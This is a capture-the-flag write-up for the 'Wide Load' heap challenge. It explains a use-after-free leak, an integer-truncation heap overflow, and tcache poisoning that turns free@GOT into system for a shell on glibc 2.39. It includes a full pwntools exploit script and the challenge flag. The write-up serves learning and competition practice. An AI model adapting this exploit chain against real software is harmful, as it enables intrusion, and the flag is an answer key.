Flash CTF – Wide Load

Overview

A stripped x86-64 binary (wideload) with PIE and stack-protector, but no RELRO and no FORTIFY_SOURCE. It ships with the Ubuntu 24.04 libc. The application is “CargoDB v1.2”, a fleet manifest manager with four operations:

  1. Register — allocate a cargo manifest with configurable item count and item size, then read that many bytes of data
  2. View — print a manifest’s raw bytes
  3. Inspect — print metadata including the address of do_register and the manifest’s heap pointer
  4. Delete — free the manifest’s data buffer

Reconnaissance

$ checksec wideload
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

No RELRO means the GOT is writable. PIE means we need a leak to find binary addresses. Looking at the (prettied up) decomp, two things stand out immediately.

Bug 1: UAF read

do_view checks !manifests[id].data rather than !manifests[id].active:

static void do_view(void) {
    // ...
    if (!manifests[id].data) {   // ← data pointer kept after free
        puts("No manifest at that ID.");
        return;
    }
    write(1, manifests[id].data, sz);

do_delete frees the buffer but leaves data intact:

free(manifests[id].data);
// NOTE: data pointer kept
manifests[id].active = 0;

We can read a freed chunk.

Bug 2: Integer truncation overflow

uint16_t alloc_sz = item_count * item_size;   // ← 16-bit truncation!
char *data = malloc(alloc_sz ? alloc_sz : 1);
// ...
read_exactly(data, (size_t)item_count * item_size);  // ← full size_t

If item_count = 0x1001 and item_size = 0x10, then:

  • alloc_sz = (0x1001 × 0x10) mod 65536 = 0x10 → malloc(16) = a 0x20 chunk
  • read_exactly reads 0x1001 × 0x10 = 65552 bytes into a 16-byte buffer

Bug 3: Binary leak via Inspect

do_inspect prints both do_register‘s address (binary base leak) and the manifest’s heap pointer:

printf("Validator    : %p\n", (void *)do_register);
printf("Checkpoint   : %p\n", (void *)manifests[id].data);

Exploitation

The plan: tcache poisoning to redirect a malloc call to free@GOT, overwrite it with system, then call free("/bin/sh").

Stage 1: Binary leak

Register a large manifest (size 0x450, exceeds tcache max of 0x410) and a small barrier chunk. Inspect the large manifest to read do_register‘s runtime address and compute the binary base.

register(p, 0, 1, 0x450, b"A" * 0x450)
register(p, 1, 1, 0x18,  b"B" * 0x18)   # barrier prevents top-chunk merge

meta = inspect(p, 0)
binary_base = int(meta[b"Validator"], 16) - 0x136c
free_got_target = binary_base + 0x35f0   # 16-byte aligned, 8 bytes before free@GOT

Stage 2: Libc leak

Free the large chunk → it lands in the unsorted bin (too large for tcache). The fd pointer is set to main_arena + 96. Use the UAF read to extract it:

delete(p, 0)
raw = view(p, 0, 0x450)
fd_val = u64(raw[:8])
libc_base = fd_val - 0x203b20   # main_arena unsorted-bin offset in glibc 2.39
sys_addr = libc_base + libc.sym["system"]

Stage 3: Build the tcache chain

Carve three adjacent 0x20 chunks (X, Y, Z) from the unsorted bin, verify they’re contiguous, then free them in reverse order (Z→Y→X) so tcache[0x20] has count=3 with head=X→Y→Z.

The count=3 is deliberate: glibc 2.39 checks counts[tc_idx] > 0 before popping. We’ll pop X, then Y, leaving count=1 when the poisoned entry (pointing to free@GOT) becomes the head.

register(p, 2, 1, 0x18, b"C"*0x18)  # X
register(p, 3, 1, 0x18, b"D"*0x18)  # Y
register(p, 4, 1, 0x18, b"Z"*0x18)  # Z (count filler)

x_ptr = int(inspect(p, 2)[b"Checkpoint"], 16)
y_ptr = int(inspect(p, 3)[b"Checkpoint"], 16)

delete(p, 4); delete(p, 3); delete(p, 2)

Stage 4: Integer overflow → heap overflow → tcache poison

Register with item_count=0x1001, item_size=0x10. This allocates 16 bytes (pops X from tcache, count 3→2) but reads 65552 bytes. The overflow reaches into Y’s freed chunk header and poisons its fd field.

glibc 2.32+ safe-linking: The fd is stored as target ^ (chunk_addr >> 12). We compute the mangled pointer:

mangled = free_got_target ^ (y_ptr >> 12)

The payload overwrites:

  • x_ptr+0x00/bin/sh\0 (argument for system() when we later free(x_ptr))
  • x_ptr+0x18: Y’s size header — preserve 0x21
  • x_ptr+0x20: Y’s fd — poison to mangled
  • x_ptr+0x38: Z’s size header — preserve 0x21
  • x_ptr+0x58: remainder size — 0x401 (PREV_INUSE set)
  • x_ptr+0x60/0x68: remainder fd/bk — main_arena (valid unsorted bin list)
  • x_ptr+0x458: D1’s prev_size slot — preserve barrier chunk layout

After this register, the tcache chain is: X→Y→free_got_target, count=2.

Stage 5: Pop Y

register(p, 5, 1, 0x18, b"F"*0x18)

Pops Y from tcache (count 2→1). The head is now free_got_target. Count=1 satisfies the glibc 2.39 guard.

Stage 6: Pop free_got_target → overwrite GOT

got_payload  = p64(0)         # _dl_runtime_resolve slot (safe to zero; all functions resolved)
got_payload += p64(sys_addr)  # free@GOT ← system
register(p, 6, 1, 0x10, got_payload)

malloc(0x10) returns free_got_target = binary_base + 0x35f0 (16-byte aligned, passes aligned_OK()). Before returning, tcache_get zeros e->key at e+8 = free_got_target+8 = free@GOT, temporarily clearing it. Our read_exactly then writes the payload: zero to the _dl_runtime_resolve slot (harmless, all PLT stubs already resolved) and system to free@GOT.

Stage 7: Trigger

p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"ID (0-15): ", b"2")

do_delete(2) calls free(manifests[2].data) = free(x_ptr). Since free@GOT = system and x_ptr starts with /bin/sh\0, this executes system("/bin/sh"). Shell!

The solve script

#!/usr/bin/env python3
from pwn import *

LOCAL = False
BIN   = "./wideload"
LIBC  = "./libc.so.6"

elf  = ELF(BIN,  checksec=False)
libc = ELF(LIBC, checksec=False)
context.binary = elf

DO_REGISTER_OFF  = 0x136c
FREE_GOT_OFF     = 0x35f8    # 8-byte aligned but NOT 16-byte
FREE_GOT_TARGET  = 0x35f0    # 16-byte aligned addr 8 bytes before free@GOT
UNSORTED_BIN_OFF = 0x203b20  # main_arena unsorted-bin head in glibc 2.39 (Ubuntu 24.04)

def conn():
    if LOCAL:
        return process(BIN)
    return remote("kubenode.mctf.io", 31098)

def register(p, id, item_count, item_size, data):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"ID (0-15): ",  str(id).encode())
    p.sendlineafter(b"Item count: ", str(item_count).encode())
    p.sendlineafter(b"Item size",    str(item_size).encode())
    p.recvuntil(b"cargo data:\n")
    p.send(data)
    p.recvuntil(b"registered.\n")

def view(p, id, size):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"ID (0-15): ", str(id).encode())
    data = p.recv(size)
    p.recv(1)   # trailing newline
    return data

def inspect(p, id):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"ID (0-15): ", str(id).encode())
    out = p.recvuntil(b"===", drop=True)
    result = {}
    for line in out.split(b"\n"):
        if b":" in line:
            k, _, v = line.partition(b":")
            result[k.strip()] = v.strip()
    return result

def delete(p, id):
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b"ID (0-15): ", str(id).encode())
    p.recvuntil(b"deleted.\n")

# ─── exploit ─────────────────────────────────────────────────────────────────
def exploit():
    p = conn()

    # Register a large chunk (for libc leak) and a barrier.
    # Inspect the large manifest to leak do_register's address → binary base.
    register(p, 0, 1, 0x450, b"A" * 0x450)   # id=0: large chunk D0
    register(p, 1, 1, 0x18,  b"B" * 0x18)    # id=1: barrier D1

    meta = inspect(p, 0)
    binary_base      = int(meta[b"Validator"], 16) - DO_REGISTER_OFF
    free_got         = binary_base + FREE_GOT_OFF
    free_got_target  = binary_base + FREE_GOT_TARGET
    log.success(f"binary base : {hex(binary_base)}")
    log.success(f"free@got    : {hex(free_got)}")
    log.success(f"target      : {hex(free_got_target)}")

    # Free D0 → unsorted bin. View it (UAF) → fd = main_arena unsorted head.
    delete(p, 0)
    raw      = view(p, 0, 0x450)
    fd_val   = u64(raw[:8])
    libc_base = fd_val - UNSORTED_BIN_OFF
    sys_addr  = libc_base + libc.sym["system"]
    ma96      = libc_base + UNSORTED_BIN_OFF
    log.success(f"libc base   : {hex(libc_base)}")
    log.success(f"system      : {hex(sys_addr)}")

    # X, Y, Z are adjacent 0x20 tcache chunks carved from D0's unsorted region.
    # Z keeps tcache[0x20] count=3 before the pops, ensuring count>0 when
    # free@got_target becomes the head (glibc 2.39 requires count>0 for tcache pop).
    register(p, 2, 1, 0x18, b"C" * 0x18)  # X
    register(p, 3, 1, 0x18, b"D" * 0x18)  # Y
    register(p, 4, 1, 0x18, b"Z" * 0x18)  # Z (count filler)

    x_ptr = int(inspect(p, 2)[b"Checkpoint"], 16)
    y_ptr = int(inspect(p, 3)[b"Checkpoint"], 16)
    z_ptr = int(inspect(p, 4)[b"Checkpoint"], 16)
    log.info(f"X user ptr  : {hex(x_ptr)}")
    log.info(f"Y user ptr  : {hex(y_ptr)}")
    log.info(f"Z user ptr  : {hex(z_ptr)}")
    assert y_ptr == x_ptr + 0x20, f"expected Y = X+0x20, got diff {y_ptr - x_ptr:#x}"
    assert z_ptr == x_ptr + 0x40, f"expected Z = X+0x40, got diff {z_ptr - x_ptr:#x}"

    delete(p, 4)  # Z → tcache (count 1)
    delete(p, 3)  # Y → tcache (count 2)
    delete(p, 2)  # X → tcache (count 3, head)

    mangled = free_got_target ^ (y_ptr >> 12)

    payload  = b"/bin/sh\x00"                   # [0x00] /bin/sh for system() trigger
    payload += b"\x00" * 0x10                   # [0x08] X user data padding
    payload += p64(0x21)                        # [0x18] Y size — preserve
    payload += p64(mangled)                     # [0x20] Y fd — poison
    payload += p64(0)                           # [0x28] Y key
    payload += p64(0)                           # [0x30] Z prev_size
    payload += p64(0x21)                        # [0x38] Z size — preserve
    payload += p64(0)                           # [0x40] Z fd (orphaned)
    payload += p64(0)                           # [0x48] Z key (orphaned)
    payload += p64(0)                           # [0x50] Remainder prev_size
    payload += p64(0x401)                       # [0x58] Remainder size (0x460-0x60=0x400 | PREV_INUSE)
    payload += p64(ma96)                        # [0x60] Remainder fd
    payload += p64(ma96)                        # [0x68] Remainder bk
    payload  = payload.ljust(0x458, b"\x00")
    payload += p64(0x20)                        # [0x458] D1 size — preserve
    total = 0x1001 * 0x10                       # 65552 bytes
    payload = payload.ljust(total, b"\x00")

    # malloc(0x10) pops X (count 3→2); overflow chain becomes X→Y→free@got_target, Z orphaned
    register(p, 2, 0x1001, 0x10, payload)

    register(p, 5, 1, 0x18, b"F" * 0x18)

    # tcache_get zeros *(free_got_target+8) = free@GOT temporarily; our write restores it.
    got_payload  = p64(0)                    # _dl_runtime_resolve slot (safe, all resolved)
    got_payload += p64(sys_addr)             # free@GOT ← system
    register(p, 6, 1, 0x10, got_payload)

    log.info("triggering shell...")
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b"ID (0-15): ", b"2")

    p.interactive()

exploit()

Flag

MetaCTF{tc4ch3_p01s0n_d3l1v3r3d_0n_t1m3}